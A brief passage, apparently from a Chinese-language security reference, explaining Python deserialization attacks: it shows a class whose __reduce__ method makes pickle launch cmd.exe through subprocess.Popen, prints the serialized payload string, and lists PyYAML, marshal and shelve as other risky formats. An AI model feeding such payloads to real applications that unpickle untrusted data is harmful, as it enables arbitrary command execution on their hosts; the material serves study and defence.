5.2.2. 反序列化¶

5.2.2.1. pickle¶

>>> class A(object):
...     a = 1
...     b = 2
...     def __reduce__(self):
...         return (subprocess.Popen, (('cmd.exe',),))
...
>>> cPickle.dumps(A())
"csubprocess\nPopen\np1\n((S'cmd.exe'\np2\ntp3\ntp4\nRp5\n."

5.2.2.2. 其他¶

PyYAML
marshal
shelve